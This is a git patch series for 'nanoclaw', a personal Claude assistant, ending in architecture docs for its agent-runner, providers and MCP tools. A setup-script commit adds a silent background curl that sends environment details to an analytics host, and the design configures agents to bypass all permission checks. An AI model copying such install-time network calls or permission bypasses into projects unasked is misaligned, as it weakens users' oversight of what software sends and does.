a/package.json b/package.json index 2ac1200..a1b5c90 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "nanoclaw", - "version": "1.2.50", + "version": "1.2.51", "description": "Personal Claude assistant. Lightweight, secure, customizable.", "type": "module", "main": "dist/index.js", From b8cf30830b8adc33d75537521b68023d16a51547 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 5 Apr 2026 19:33:34 +0000 Subject: [PATCH 053/485] chore: bump version to 1.2.52 --- package-lock.json | 4 ++-- package.json | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index 4c697fe..4bbfdd7 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "nanoclaw", - "version": "1.2.51", + "version": "1.2.52", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "nanoclaw", - "version": "1.2.51", + "version": "1.2.52", "dependencies": { "@onecli-sh/sdk": "^0.2.0", "better-sqlite3": "11.10.0", diff --git a/package.json b/package.json index a1b5c90..be913a9 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "nanoclaw", - "version": "1.2.51", + "version": "1.2.52", "description": "Personal Claude assistant. Lightweight, secure, customizable.", "type": "module", "main": "dist/index.js", From 6c289c3a807fb55936a1e7df7a42bc89a53d57b6 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 5 Apr 2026 23:37:52 +0300 Subject: [PATCH 054/485] chore: add .npmrc with 7-day minimum release age MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Supply chain protection — npm will not install package versions published less than 7 days ago. Co-Authored-By: Claude Opus 4.6 (1M context) --- .npmrc | 1 + 1 file changed, 1 insertion(+) create mode 100644 .npmrc diff --git a/.npmrc b/.npmrc new file mode 100644 index 0000000..2e218c5 --- /dev/null +++ b/.npmrc @@ -0,0 +1 @@ +minReleaseAge=7d From ca9333d48dd7ad7e076e63a0fbf327b95f8b66ac Mon Sep 17 00:00:00 2001 From: gavrielc Date: Mon, 6 Apr 2026 00:37:34 +0300 Subject: [PATCH 055/485] improve diagnostics --- setup.sh | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/setup.sh b/setup.sh index c37f143..4f85054 100755 --- a/setup.sh +++ b/setup.sh @@ -121,6 +121,7 @@ check_build_tools() { log "=== Bootstrap started ===" detect_platform + check_node install_deps check_build_tools @@ -135,6 +136,12 @@ elif [ "$NATIVE_OK" = "false" ]; then STATUS="native_failed" fi +# Anonymous setup start event (non-blocking, best-effort) +curl -sS --max-time 3 -X POST https://us.i.posthog.com/capture/ \ + -H 'Content-Type: application/json' \ + -d "{\"api_key\":\"phc_fx1Hhx9ucz8GuaJC8LVZWO8u03yXZZJJ6ObS4yplnaP\",\"event\":\"setup_start\",\"distinct_id\":\"$(uuidgen 2>/dev/null || cat /proc/sys/kernel/random/uuid 2>/dev/null || echo unknown)\",\"properties\":{\"platform\":\"$PLATFORM\",\"is_wsl\":\"$IS_WSL\",\"is_root\":\"$IS_ROOT\",\"node_version\":\"$NODE_VERSION\",\"deps_ok\":\"$DEPS_OK\",\"native_ok\":\"$NATIVE_OK\",\"has_build_tools\":\"$HAS_BUILD_TOOLS\"}}" \ + >/dev/null 2>&1 & + cat < Date: Mon, 6 Apr 2026 01:19:22 +0300 Subject: [PATCH 056/485] reduce setup friction --- .claude/settings.json | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/.claude/settings.json b/.claude/settings.json index 0967ef4..b4106ff 100644 --- a/.claude/settings.json +++ b/.claude/settings.json @@ -1 +1,10 @@ -{} +{ + "sandbox": { + "network": { + "allowedDomains": [ + "npm.registry.com", + "us.i.posthog.com" + ] + } + } +} From 751a9ed2d1c72d8ad1abf1915d6cc28c6bb9806f Mon Sep 17 00:00:00 2001 From: johnnyfish Date: Mon, 6 Apr 2026 00:46:34 +0300 Subject: [PATCH 057/485] fix(gmail): add OneCLI credential mode detection --- .claude/skills/add-gmail/SKILL.md | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/.claude/skills/add-gmail/SKILL.md b/.claude/skills/add-gmail/SKILL.md index 781a0eb..099ec5b 100644 --- a/.claude/skills/add-gmail/SKILL.md +++ b/.claude/skills/add-gmail/SKILL.md @@ -85,11 +85,27 @@ All tests must pass (including the new Gmail tests) and build must be clean befo ls -la ~/.gmail-mcp/ 2>/dev/null || echo "No Gmail config found" ``` -If `credentials.json` already exists, skip to "Build and restart" below. +If `credentials.json` already exists with real tokens (not `onecli-managed` values), skip to "Build and restart" below. ### GCP Project Setup -Tell the user: +Check if OneCLI is configured: + +```bash +grep -q 'ONECLI_URL=.' .env 2>/dev/null && echo "onecli" || echo "manual" +``` + +**If OneCLI:** Tell the user to open `${ONECLI_URL}/connections?connect=gmail` to set up their Gmail connection. The dashboard walks them through creating a Google Cloud OAuth app and authorizing it. Ask them to let you know when done. + +Once the user confirms, run: + +```bash +onecli apps get --provider gmail +``` + +Check that `config.hasCredentials` is `true` or `connection` is not null. The response `hint` field has instructions and a docs URL for what stub credential files to create under `~/.gmail-mcp/`. Follow the hint — never overwrite existing files that don't contain `onecli-managed` values. + +**If manual:** Tell the user: > I need you to set up Google Cloud OAuth credentials: > From 934f063aff5c30e7b49ce58b53b41901d3472a3e Mon Sep 17 00:00:00 2001 From: gavrielc Date: Tue, 7 Apr 2026 08:35:25 +0300 Subject: [PATCH 058/485] update deps --- package-lock.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index 4bbfdd7..ebd7b83 100644 --- a/package-lock.json +++ b/package-lock.json @@ -3158,9 +3158,9 @@ "license": "MIT" }, "node_modules/vite": { - "version": "7.3.1", - "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.1.tgz", - "integrity": "sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA==", + "version": "7.3.2", + "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.2.tgz", + "integrity": "sha512-Bby3NOsna2jsjfLVOHKes8sGwgl4TT0E6vvpYgnAYDIF/tie7MRaFthmKuHx1NSXjiTueXH3do80FMQgvEktRg==", "dev": true, "license": "MIT", "dependencies": { From b539fddbcbd29049d431a69a2381f33f11396e14 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:07:33 +0300 Subject: [PATCH 059/485] =?UTF-8?q?docs:=20v2=20architecture=20design=20?= =?UTF-8?q?=E2=80=94=20session=20DB,=20channel=20adapters,=20agent=20provi?= =?UTF-8?q?der?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three documents covering the complete v2 architecture: - v2-architecture-draft.md: Core design (per-session SQLite as sole IO, two-level DB, entity model, channel adapters with Chat SDK bridge, container lifecycle, message flow, interactive operations, routing, flexibility model with PR Factory example) - v2-api-details.md: Channel adapter interface definitions, Chat SDK bridge implementation, native channel example, message content format examples, host delivery logic - v2-agent-runner-details.md: AgentProvider interface (stream-in/out), provider implementations (Claude, Codex, OpenCode), poll loop, MCP tool definitions, message formatting, media handling, container startup Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-agent-runner-details.md | 763 ++++++++++++++++++++++++++++++ docs/v2-api-details.md | 360 +++++++++++++++ docs/v2-architecture-draft.md | 792 ++++++++++++++++++++++++++++++++ 3 files changed, 1915 insertions(+) create mode 100644 docs/v2-agent-runner-details.md create mode 100644 docs/v2-api-details.md create mode 100644 docs/v2-architecture-draft.md diff --git a/docs/v2-agent-runner-details.md b/docs/v2-agent-runner-details.md new file mode 100644 index 0000000..1059213 --- /dev/null +++ b/docs/v2-agent-runner-details.md @@ -0,0 +1,763 @@ +# NanoClaw v2 Agent-Runner Details + +Implementation-level details for the agent-runner inside the container. See [v2-architecture-draft.md](v2-architecture-draft.md) for the high-level design. + +## Separation of Concerns + +The agent-runner has two layers: + +1. **Agent-runner core** — owns the poll loop, message formatting, DB reads/writes, MCP tool implementations, routing, status management, media handling. This is NanoClaw-specific and shared across all providers. + +2. **Agent provider** — owns the SDK interaction. Takes formatted prompts, pushes them to the SDK, yields events back. Each SDK (Claude, Codex, OpenCode) gets its own provider implementation. + +The boundary: the agent-runner decides **what** to send and **what to do** with results. The provider decides **how** to talk to the SDK. + +## AgentProvider Interface + +```typescript +interface AgentProvider { + /** Start a new query. Returns a handle for streaming input and output. */ + query(input: QueryInput): AgentQuery; +} + +interface QueryInput { + /** Initial prompt (already formatted by agent-runner). + * String for text-only. ContentBlock[] for multimodal (images, PDFs, audio). */ + prompt: string | ContentBlock[]; + + /** Session ID to resume, if any */ + sessionId?: string; + + /** Resume from a specific point in the session (provider-specific, may be ignored) */ + resumeAt?: string; + + /** Working directory inside the container */ + cwd: string; + + /** MCP server configurations (normalized format — provider translates) */ + mcpServers: Record; + + /** System prompt / developer instructions */ + systemPrompt?: string; + + /** Environment variables for the SDK process */ + env: Record; + + /** Additional directories the agent can access */ + additionalDirectories?: string[]; +} + +interface McpServerConfig { + command: string; + args: string[]; + env: Record; +} + +interface AgentQuery { + /** Push a follow-up message into the active query */ + push(message: string): void; + + /** Signal that no more input will be sent */ + end(): void; + + /** Output event stream */ + events: AsyncIterable; + + /** Force-stop the query (e.g., container shutting down) */ + abort(): void; +} + +type ProviderEvent = + | { type: 'init'; sessionId: string } + | { type: 'result'; text: string | null } + | { type: 'error'; message: string; retryable: boolean; classification?: string } + | { type: 'progress'; message: string }; +``` + +### What the interface does NOT include + +- **Message formatting** — the agent-runner formats messages before passing to the provider. The provider receives a ready-to-send prompt string. +- **Hooks** — Claude-specific. The Claude provider registers hooks internally (PreCompact, PreToolUse, etc.). Other providers don't need them. +- **Tool allowlists** — Claude uses `allowedTools`. Codex uses `approvalPolicy`. OpenCode uses `permission`. Each provider configures this internally based on the same intent: "allow everything, no prompting." +- **Session persistence** — Claude persists sessions to disk automatically. Codex and OpenCode manage their own session state. The agent-runner doesn't control this — it just passes `sessionId` and `resumeAt`. +- **Sandbox configuration** — provider-specific. Each provider configures its own sandbox internally. + +### Provider event semantics + +- **`init`** — emitted once per query when the provider establishes or resumes a session. The agent-runner captures `sessionId` for future resume. +- **`result`** — emitted when the agent produces a complete response. May be emitted multiple times per query (e.g., Claude's multi-turn with subagents). The agent-runner writes each result to messages_out. +- **`error`** — emitted on failure. `retryable` indicates whether the agent-runner should retry. `classification` is optional detail (e.g., 'quota', 'auth', 'transport'). +- **`progress`** — optional, for logging. The agent-runner logs these but doesn't act on them. + +## Provider Implementations + +### Claude Provider + +Wraps `@anthropic-ai/claude-agent-sdk`'s `query()`. + +```typescript +class ClaudeProvider implements AgentProvider { + query(input: QueryInput): AgentQuery { + const stream = new MessageStream(); // AsyncIterable + stream.push(input.prompt); + + const sdkQuery = query({ + prompt: stream, + options: { + cwd: input.cwd, + resume: input.sessionId, + resumeSessionAt: input.resumeAt, + systemPrompt: input.systemPrompt + ? { type: 'preset', preset: 'claude_code', append: input.systemPrompt } + : undefined, + mcpServers: input.mcpServers, // already the right shape + additionalDirectories: input.additionalDirectories, + env: input.env, + allowedTools: NANOCLAW_TOOL_ALLOWLIST, + permissionMode: 'bypassPermissions', + allowDangerouslySkipPermissions: true, + hooks: { + PreCompact: [{ hooks: [preCompactHook] }], + PreToolUse: [{ matcher: 'Bash', hooks: [sanitizeBashHook] }], + }, + }, + }); + + return { + push: (msg) => stream.push(msg), + end: () => stream.end(), + abort: () => sdkQuery.close(), + events: translateClaudeEvents(sdkQuery), + }; + } +} +``` + +`translateClaudeEvents` is an async generator that maps SDK messages to `ProviderEvent`: +- `message.type === 'system' && message.subtype === 'init'` → `{ type: 'init', sessionId }` +- `message.type === 'result'` → `{ type: 'result', text }` +- `message.type === 'system' && message.subtype === 'api_retry'` → `{ type: 'error', retryable: true }` +- `message.type === 'system' && message.subtype === 'rate_limit_event'` → `{ type: 'error', retryable: false, classification: 'quota' }` +- `message.type === 'system' && message.subtype === 'task_notification'` → `{ type: 'progress', message }` +- Everything else → logged, not emitted + +**Claude-specific features preserved inside the provider:** +- `MessageStream` for async iterable input (push-based) +- `resumeSessionAt` for resume at specific message UUID +- PreCompact hook for transcript archiving +- PreToolUse hook for sanitizing bash env vars +- Full tool allowlist +- `additionalDirectories` for multi-directory access + +### Codex Provider + +Wraps `@openai/codex-sdk`. + +```typescript +class CodexProvider implements AgentProvider { + query(input: QueryInput): AgentQuery { + const codex = new Codex(this.buildOptions(input)); + const thread = input.sessionId + ? codex.resumeThread(input.sessionId, this.threadOptions(input)) + : codex.startThread(this.threadOptions(input)); + + const abortController = new AbortController(); + let pendingFollowUp: string | null = null; + + return { + push: (msg) => { + // Codex doesn't support streaming input. + // Store the follow-up and abort the current turn. + pendingFollowUp = msg; + abortController.abort(); + }, + end: () => { /* no-op — Codex turns end naturally */ }, + abort: () => abortController.abort(), + events: this.run(thread, input.prompt, abortController, () => pendingFollowUp), + }; + } + + private async *run(thread, prompt, abortController, getPendingFollowUp): AsyncIterable { + let currentPrompt = prompt; + + while (true) { + try { + const streamed = await thread.runStreamed(currentPrompt, { + signal: abortController.signal, + }); + + let sessionId: string | undefined; + let resultText = ''; + + for await (const event of streamed.events) { + if (event.type === 'thread.started') { + sessionId = event.thread_id; + yield { type: 'init', sessionId }; + } + if (event.type === 'item.completed' && event.item.type === 'agent_message') { + resultText = event.item.text || resultText; + } + if (event.type === 'turn.failed') { + yield { type: 'error', message: event.error.message, retryable: false }; + return; + } + } + + yield { type: 'result', text: resultText || null }; + + // Check if a follow-up was queued during this turn + const followUp = getPendingFollowUp(); + if (followUp) { + currentPrompt = followUp; + // Reset for next iteration + continue; + } + + return; + } catch (err) { + if (abortController.signal.aborted && getPendingFollowUp()) { + // Aborted because of follow-up — restart with new prompt + currentPrompt = getPendingFollowUp(); + abortController = new AbortController(); + continue; + } + throw err; + } + } + } +} +``` + +**Codex-specific behavior inside the provider:** +- `developer_instructions` for system prompt (loaded from CLAUDE.md) +- `git init` in workspace (Codex requires a git repo) +- Abort+restart pattern for follow-up messages +- `sandboxMode`, `approvalPolicy`, `networkAccessEnabled` from env vars +- Conversation archiving (Codex doesn't have PreCompact) + +### OpenCode Provider + +Wraps `@opencode-ai/sdk`. + +```typescript +class OpenCodeProvider implements AgentProvider { + query(input: QueryInput): AgentQuery { + // OpenCode runs a local server — create it once, reuse across queries + const { client, server } = await createOpencode({ config: this.buildConfig(input) }); + const { stream } = await client.event.subscribe(); + + let aborted = false; + let pendingFollowUp: string | null = null; + + return { + push: (msg) => { + pendingFollowUp = msg; + server.close(); // interrupt current query + }, + end: () => { /* no-op */ }, + abort: () => { aborted = true; server.close(); }, + events: this.run(client, server, stream, input, () => pendingFollowUp), + }; + } + + private async *run(client, server, stream, input, getPendingFollowUp): AsyncIterable { + const session = await client.session.create(); + yield { type: 'init', sessionId: session.data.id }; + + await client.session.promptAsync({ + path: { id: session.data.id }, + body: { parts: [{ type: 'text', text: input.prompt }] }, + }); + + for await (const event of stream) { + if (event.type === 'session.idle') { + // Collect result text from accumulated message parts + const resultText = this.extractResult(event); + yield { type: 'result', text: resultText }; + + const followUp = getPendingFollowUp(); + if (followUp) { + await client.session.promptAsync({ + path: { id: session.data.id }, + body: { parts: [{ type: 'text', text: followUp }] }, + }); + continue; + } + + return; + } + + if (event.type === 'session.error') { + yield { type: 'error', message: event.properties?.error?.data?.message, retryable: false }; + return; + } + } + } +} +``` + +**OpenCode-specific behavior inside the provider:** +- Local gRPC/HTTP server lifecycle (`server.close()`) +- SSE event stream for output +- Provider/model selection via config (`OPENCODE_PROVIDER`, `OPENCODE_MODEL`) +- MCP config format translation (`type: 'local'`, `command: [cmd, ...args]`, `environment`) +- System prompt injected via `` prefix in prompt text +- No resume support (sessions are always new or reused by ID) + +## Agent-Runner Core + +Everything below is handled by the agent-runner, not the provider. + +### Poll Loop + +``` +┌─────────────────────────────────────────┐ +│ │ +│ 1. Query messages_in for pending rows │ +│ WHERE status = 'pending' │ +│ AND (process_after IS NULL │ +│ OR process_after <= now()) │ +│ │ +│ 2. If rows found: │ +│ a. Set status = 'processing' │ +│ b. Format messages by kind │ +│ c. Strip routing fields │ +│ d. Call provider.query(prompt) │ +│ e. Process provider events │ +│ f. Write results to messages_out │ +│ g. Set status = 'completed' │ +│ │ +│ 3. While query is active: │ +│ - Continue polling messages_in │ +│ - New messages → provider.push() │ +│ │ +│ 4. When query finishes: │ +│ - Back to step 1 │ +│ - If no messages, sleep + re-poll │ +│ │ +└─────────────────────────────────────────┘ +``` + +**Concurrent polling during active query:** While the provider is running a query, the agent-runner continues polling messages_in on a short interval (~500ms). New pending messages are formatted and pushed into the active query via `provider.push()`. This lets follow-up messages arrive while the agent is processing — Claude handles this natively, Codex/OpenCode handle it via abort+restart internally. + +**Idle behavior:** When no messages are pending and no query is active, the agent-runner sleeps briefly (1s) and re-polls. The container stays warm until the host kills it (idle timeout). + +**Idle detection exceptions:** The container should NOT be considered idle when: +- An `ask_user_question` tool call is pending (waiting for user response in messages_in) +- The agent is actively working (tool calls in progress, subagents running) + +The agent-runner signals "busy" status to the host. The mechanism for this is provider-specific — for Claude, the query AsyncGenerator is still yielding events. For others, the agent-runner can write a heartbeat or status indicator to the session DB that the host checks before killing. + +### Message Formatting + +The agent-runner transforms messages_in rows into a prompt string. The provider receives a ready-to-send string — it doesn't know about message kinds or routing. + +**Routing field stripping:** `platform_id`, `channel_type`, `thread_id` are never included in the prompt. They're stored as context for writing messages_out. + +**Single message formatting by kind:** + +- **`chat`** — format into message XML: + ```xml + + Check this PR + + ``` + +- **`chat-sdk`** — extract fields from serialized Chat SDK message: + ```xml + + Check this PR + [image: screenshot.png — https://signed-url...] + + ``` + Attachments are listed inline. Images/PDFs that Claude handles natively are passed as content blocks (see Media Handling below). + +- **`task`** — task prompt, optionally with script output: + ``` + [SCHEDULED TASK] + + Script output: + {"data": ...} + + Instructions: + Review open PRs + ``` + +- **`webhook`** — webhook payload: + ``` + [WEBHOOK: github/pull_request] + + {"action": "opened", "pull_request": {...}} + ``` + +- **`system`** — host action result (response to an earlier system request): + ``` + [SYSTEM RESPONSE] + + Action: register_agent_group + Status: success + Result: {"agent_group_id": "ag-456"} + ``` + +**Batch formatting:** Multiple pending messages are combined into one prompt: + +```xml + + +Check this PR +Already on it + +``` + +Mixed kinds (e.g., a chat message + a system response) are combined with clear delimiters. Each section is labeled by kind. + +**Command detection:** Messages starting with `/` are checked against a command list. Recognized commands bypass formatting and are passed raw to the provider (for Claude's slash command handling) or intercepted by the agent-runner (for NanoClaw-level commands like session reset). + +### Routing + +When the agent-runner picks up messages_in rows, it captures the routing fields from the batch: + +```typescript +interface RoutingContext { + platformId: string | null; + channelType: string | null; + threadId: string | null; + inReplyTo: string | null; // messages_in.id of the triggering message +} +``` + +When writing messages_out (either from provider results or MCP tool calls), the agent-runner copies this routing context by default. The agent never sees routing fields — it just produces text. The routing is implicit: "respond to whoever sent the message." + +MCP tools that target a different destination (e.g., `send_to_agent`, `send_message` with explicit channel) override the routing context for that specific messages_out row. + +### Status Management + +The agent-runner manages the `status` and `status_changed` fields on messages_in: + +``` +pending → processing → completed + → failed (if provider returns error and max retries exhausted) +``` + +- **Pick up:** `UPDATE messages_in SET status = 'processing', status_changed = now(), tries = tries + 1 WHERE id IN (...)` +- **Complete:** `UPDATE messages_in SET status = 'completed', status_changed = now() WHERE id IN (...)` +- **Error:** Agent-runner does NOT set `failed` — it leaves the message as `processing`. The host detects stale processing via `status_changed` and handles retry logic (reset to pending with backoff). This keeps retry policy on the host side. + +### MCP Tools + +The agent-runner runs an MCP server (same as v1) that exposes NanoClaw tools to the agent. In v2, all tools write to the session DB instead of IPC files. + +**DB path:** The MCP server receives the session DB path via environment variable. It opens a second connection to the same SQLite file (WAL mode allows concurrent access). + +#### send_message + +Send a chat message to the current conversation (or a specified destination). + +```typescript +{ + name: 'send_message', + params: { + text: string, // message content + channel?: string, // optional: target channel type (default: reply to origin) + platformId?: string, // optional: target platform ID + threadId?: string, // optional: target thread ID + } +} +``` + +Implementation: write a `messages_out` row with `kind: 'chat'`. If channel/platformId/threadId are provided, use those as routing. Otherwise, copy from the current routing context. + +#### send_file + +Send a file to the current conversation. + +```typescript +{ + name: 'send_file', + params: { + path: string, // file path (relative to /workspace/agent/ or absolute) + text?: string, // optional accompanying message + filename?: string, // display name (default: basename of path) + } +} +``` + +Implementation: +1. Generate a message ID +2. Create `outbox/{messageId}/` directory +3. Copy the file into the outbox directory +4. Write a `messages_out` row with `files: [filename]` in the content + +#### send_card + +Send a structured card (interactive or display-only). + +```typescript +{ + name: 'send_card', + params: { + card: CardElement, // card structure (title, children, actions) + fallbackText?: string, // text fallback for platforms without card support + } +} +``` + +Implementation: write a `messages_out` row with `kind: 'chat-sdk'` and the card structure in content. + +#### ask_user_question + +Send an interactive question and wait for the user's response. This is a **blocking tool call** — the tool doesn't return until the user responds. + +```typescript +{ + name: 'ask_user_question', + params: { + question: string, + options: string[], // button labels + timeout?: number, // seconds (default: 300) + } +} +``` + +Implementation: +1. Generate a `questionId` +2. Write a `messages_out` row with `operation: 'ask_question'`, the question, options, and questionId +3. Poll `messages_in` for a row with matching `questionId` in content +4. When found, return the `selectedOption` as the tool result +5. If timeout expires, return a timeout error as the tool result + +The agent's execution is paused at this tool call. The provider's query keeps running (Claude holds the tool call open). The agent-runner polls for the response in a separate loop. + +#### edit_message + +Edit a previously sent message. + +```typescript +{ + name: 'edit_message', + params: { + messageId: string, // integer ID as shown to the agent + text: string, // new content + } +} +``` + +Implementation: write a `messages_out` row with `operation: 'edit'`, the message ID, and new text. + +#### add_reaction + +Add an emoji reaction to a message. + +```typescript +{ + name: 'add_reaction', + params: { + messageId: string, // integer ID as shown to the agent + emoji: string, // emoji name (e.g., 'thumbs_up') + } +} +``` + +Implementation: write a `messages_out` row with `operation: 'reaction'`. + +#### send_to_agent + +Send a message to another agent group. + +```typescript +{ + name: 'send_to_agent', + params: { + agentGroupId: string, // target agent group + text: string, // message content + sessionId?: string, // optional: target specific session + } +} +``` + +Implementation: write a `messages_out` row with `channel_type: 'agent'`, `platform_id: agentGroupId`, `thread_id: sessionId`. + +#### schedule_task + +Schedule a one-shot or recurring task. + +```typescript +{ + name: 'schedule_task', + params: { + prompt: string, // task prompt + processAfter: string, // ISO timestamp for first run + recurrence?: string, // cron expression (optional) + script?: string, // pre-agent script (optional) + } +} +``` + +Implementation: write a `messages_in` row (to self) with `kind: 'task'`, `process_after`, and optionally `recurrence`. The host sweep picks it up when due. + +#### list_tasks + +List active scheduled/recurring tasks. + +```typescript +{ + name: 'list_tasks', + params: {} +} +``` + +Implementation: query `messages_in WHERE recurrence IS NOT NULL AND status != 'failed'`. + +#### cancel_task / pause_task / resume_task + +Modify a scheduled task. + +```typescript +{ + name: 'cancel_task', + params: { taskId: string } +} +// pause_task: set status = 'paused' (new status value for recurring tasks) +// resume_task: set status = 'pending' +``` + +Implementation: update the messages_in row directly. + +#### register_agent_group + +Register a new agent group (admin only). + +```typescript +{ + name: 'register_agent_group', + params: { + name: string, + folder: string, + platformId: string, // messaging group to wire to + channelType: string, + triggerRules?: object, + sessionMode?: 'shared' | 'per-thread', + } +} +``` + +Implementation: write a `messages_out` row with `kind: 'system'`, `action: 'register_agent_group'`. The host reads, validates admin permission, creates the entity rows in the central DB, and writes a `system` messages_in response. + +### Media Handling + +#### Inbound (messages_in → agent prompt) + +The agent-runner inspects attachments in chat/chat-sdk messages and handles them based on type and provider capability: + +**Provider-native content blocks:** + +| Type | Claude | Codex / OpenCode | +|------|--------|------------------| +| Images (JPEG, PNG, GIF, WebP) | Native image content block | Save to disk | +| PDFs | Native document content block | Save to disk | +| Audio | Native audio content block | Save to disk | +| Other files (code, data, video, archives) | Save to disk | Save to disk | + +**"Save to disk"** means: download to `/workspace/downloads/{messageId}/`, reference in the prompt text: + +``` + + Check this spreadsheet + [file available at: /workspace/downloads/msg-123/data.xlsx] + +``` + +The agent can use tools (Read, Bash) to access saved files. + +For channels where direct download isn't possible (e.g., WhatsApp buffered streams), the channel adapter serves the media via a local URL. The agent-runner downloads from that URL. + +**Content block construction (Claude):** The agent-runner builds multi-part `MessageParam` content: `[{ type: 'image', source: { type: 'base64', media_type, data } }, { type: 'text', text: '...' }]`. The prompt passed to the provider is not a plain string in this case — the `QueryInput.prompt` field needs to support structured content for Claude. The provider's `query()` method handles the format-specific construction. + +**Content block construction (Codex/OpenCode):** Everything is text. File references are inlined in the prompt string. The provider receives a plain string prompt. + +#### Outbound (agent → messages_out) + +Handled via the `send_file` MCP tool (see above). The agent explicitly decides to send a file — the agent-runner doesn't scan output for file references. + +### Pre-Agent Scripts (Tasks) + +For `task` kind messages with a `script` field in the content: + +1. Agent-runner writes the script to a temp file +2. Executes with `bash` (30s timeout) +3. Parses last line of stdout as JSON: `{ wakeAgent: boolean, data?: unknown }` +4. If `wakeAgent === false`: mark message as completed, don't invoke the provider +5. If `wakeAgent === true`: enrich the prompt with script output, then invoke the provider + +Same as v1 behavior. + +### Transcript Archiving + +The agent-runner archives conversation transcripts before context compaction. For Claude, this is handled via the PreCompact hook (provider-internal). For other providers that don't have hooks, the agent-runner archives after each query completes based on the provider's output. + +Archive location: `/workspace/agent/conversations/{date}-{summary}.md` + +### Session Resume + +The agent-runner tracks `sessionId` and `resumeAt` across queries: + +- `sessionId` — captured from `ProviderEvent { type: 'init' }`. Passed back to `QueryInput.sessionId` on the next query. +- `resumeAt` — Claude-specific (last assistant message UUID). Stored by the agent-runner, passed to `QueryInput.resumeAt`. Providers that don't support this ignore it. + +These are ephemeral to the container's lifetime. When the container is killed and restarted, the host passes the stored `sessionId` from the central DB's sessions table. `resumeAt` is lost on container restart (the provider resumes from the end of the session). + +### Container Startup + +The agent-runner receives configuration via: + +- **Environment variables:** `AGENT_PROVIDER` (claude/codex/opencode), `NANOCLAW_ADMIN_USER_ID`, provider-specific vars (API keys, model overrides), `TZ` +- **Fixed mount paths:** Session DB at `/workspace/session.db`. Agent group folder at `/workspace/agent/`. System prompt from `/workspace/agent/CLAUDE.md` and `/workspace/global/CLAUDE.md`. +- **Optional startup config:** Some config may be passed as a JSON file at a fixed path (e.g., `/workspace/config.json`) for things like the session ID to resume, assistant name, and admin user ID. This avoids overloading environment variables. + +The agent-runner reads config, creates the provider, and enters the poll loop. No stdin, no initial prompt — messages are already in the session DB. + +### Provider Factory + +```typescript +type ProviderName = 'claude' | 'codex' | 'opencode'; + +function createProvider(name: ProviderName, config: ProviderConfig): AgentProvider { + switch (name) { + case 'claude': return new ClaudeProvider(config); + case 'codex': return new CodexProvider(config); + case 'opencode': return new OpenCodeProvider(config); + default: throw new Error(`Unknown provider: ${name}`); + } +} +``` + +The provider name comes from the container's environment (`AGENT_PROVIDER` env var), set by the host based on `agent_groups.agent_provider` or `sessions.agent_provider`. + +`ProviderConfig` contains provider-specific settings (API keys, model overrides, etc.) passed via environment variables — not via the interface. Each provider reads what it needs from `env`. + +## What Stays From v1 + +- MCP server is a separate Node process spawned by the provider (via `mcpServers` config) +- The MCP server binary is shared across providers — same tools, same DB access +- CLAUDE.md loading (global + per-group) — agent-runner reads and passes as `systemPrompt` +- Additional directories discovery (`/workspace/extra/*`) +- Logging via stderr (`[agent-runner] ...`) + +## What Changes From v1 + +| v1 | v2 | +|----|----| +| stdin JSON envelope | Poll session DB | +| IPC input files for follow-ups | Same DB poll + `provider.push()` | +| stdout markers for output | Write messages_out rows | +| MCP tools write IPC files | MCP tools write DB rows | +| `_close` sentinel for shutdown | Host kills container externally | +| `runQuery()` function with inline Claude SDK | `AgentProvider` interface + per-SDK implementations | +| Single provider (Claude) | Pluggable providers (Claude, Codex, OpenCode, future) | +| `ContainerInput` via stdin | Provider config via env vars + session DB for messages | +| IPC polling for follow-ups | DB polling + provider.push() | + +## Related Documents + +- **[v2-architecture-draft.md](v2-architecture-draft.md)** — High-level architecture (session DB schema, central DB, channel adapters, message flow) +- **[v2-api-details.md](v2-api-details.md)** — Channel adapter interface, message content examples, host delivery logic diff --git a/docs/v2-api-details.md b/docs/v2-api-details.md new file mode 100644 index 0000000..02ba7c5 --- /dev/null +++ b/docs/v2-api-details.md @@ -0,0 +1,360 @@ +# NanoClaw v2 API Details + +Implementation-level details for the v2 architecture. See [v2-architecture-draft.md](v2-architecture-draft.md) for the high-level design. + +## Channel Adapter Interface + +### NanoClaw Channel Interface (v2) + +```typescript +interface ChannelSetup { + // Conversation configs from central DB — passed at setup, not queried by adapter + conversations: ConversationConfig[]; + + // Host callbacks + onInbound(platformId: string, threadId: string | null, message: InboundMessage): void; + onMetadata(platformId: string, name?: string, isGroup?: boolean): void; +} + +interface ConversationConfig { + platformId: string; + agentGroupId: string; + triggerPattern?: string; // regex string (for native channels) + requiresTrigger: boolean; + sessionMode: 'shared' | 'per-thread'; +} + +interface ChannelAdapter { + name: string; + channelType: string; + + // Lifecycle + setup(config: ChannelSetup): Promise; + teardown(): Promise; + isConnected(): boolean; + + // Outbound delivery + deliver(platformId: string, threadId: string | null, message: OutboundMessage): Promise; + + // Optional + setTyping?(platformId: string, threadId: string | null): Promise; + syncConversations?(): Promise; + updateConversations?(conversations: ConversationConfig[]): void; +} + +// Inbound message from adapter to host +interface InboundMessage { + id: string; + kind: 'chat' | 'chat-sdk'; + content: unknown; // JSON blob — NanoClaw chat format or Chat SDK SerializedMessage + timestamp: string; +} + +// Outbound message from host to adapter +interface OutboundMessage { + kind: 'chat' | 'chat-sdk'; + content: unknown; // JSON blob — matches the kind +} +``` + +### Chat 